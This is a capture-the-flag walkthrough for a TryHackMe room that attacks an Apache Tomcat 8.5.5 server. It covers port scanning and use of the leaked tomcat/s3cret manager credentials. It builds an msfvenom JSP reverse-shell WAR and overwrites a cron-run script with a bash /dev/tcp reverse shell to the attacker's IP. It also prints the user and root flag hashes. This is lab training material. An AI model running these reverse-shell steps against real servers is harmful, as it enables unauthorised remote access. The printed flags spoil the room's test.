Room link : https://tryhackme.com/r/room/bsidesgtthompson
STEP1
nmap -p- -Pn -A -T4 -sSV 10.10.130.169
FINDING
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.5
NOTE
http is running on port 8080
---------------------------------------------------------------------------------------------------------
STEP2
dirb http://10.10.130.169:8080/
FINDING
+ http://10.10.130.169:8080/docs (CODE:302|SIZE:0)
+ http://10.10.130.169:8080/examples (CODE:302|SIZE:0)
+ http://10.10.130.169:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.130.169:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.130.169:8080/manager (CODE:302|SIZE:0)
---------------------------------------------------------------------------------------------------------
STEP3
http://10.10.130.169:8080/
FINDING
+ http://10.10.130.169:8080/docs (CODE:302|SIZE:0)
+ http://10.10.130.169:8080/examples (CODE:302|SIZE:0)
+ http://10.10.130.169:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.130.169:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.130.169:8080/manager (CODE:302|SIZE:0)
NOTE
click on 10.10.130.169:8080/host-manager
you will get a login popup
cancel it and you will the user id and password
ername="tomcat" password="s3cret" roles="admin-gui"/
---------------------------------------------------------------------------------------------------------
STEP4
click on 10.10.130.169:8080/host-manager
enter user id and password -- ername="tomcat" password="s3cret"
FINDING
http://10.10.130.169:8080/manager/html
NOTE
upload revershell.war in upload and deploy
---------------------------------------------------------------------------------------------------------
STEP5
create a .wr revershell using msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.17.65.196 LPORT=9999 -f war -o rshell.war
upload the file and see it appears in the list below
on new terminal open nc -nvlp 9999
click on the revershell which was uploaded and get e reverse shell
---------------------------------------------------------------------------------------------------------
STEP6
cd /home/jack
ls -la
cat user.txt
39400c90bc683a41a8935e4719f181bf
---------------------------------------------------------------------------------------------------------
STEP7
cat /etc/crontab
FINDING
cd /home/jack && bash id.sh
---------------------------------------------------------------------------------------------------------
STEP8
echo bash -i & /dev/tcp/10.17.65.196/8888 0&1 id.sh
open listner in new tab nc -nvlp 8888
after few mins you will get a root shell
---------------------------------------------------------------------------------------------------------
STEP9
on new root shell
ls -la
cd /root
ls -la
cat root.txt
d89d5391984c0450a95497153ae7ca3a
---------------------------------------------------------------------------------------------------------
|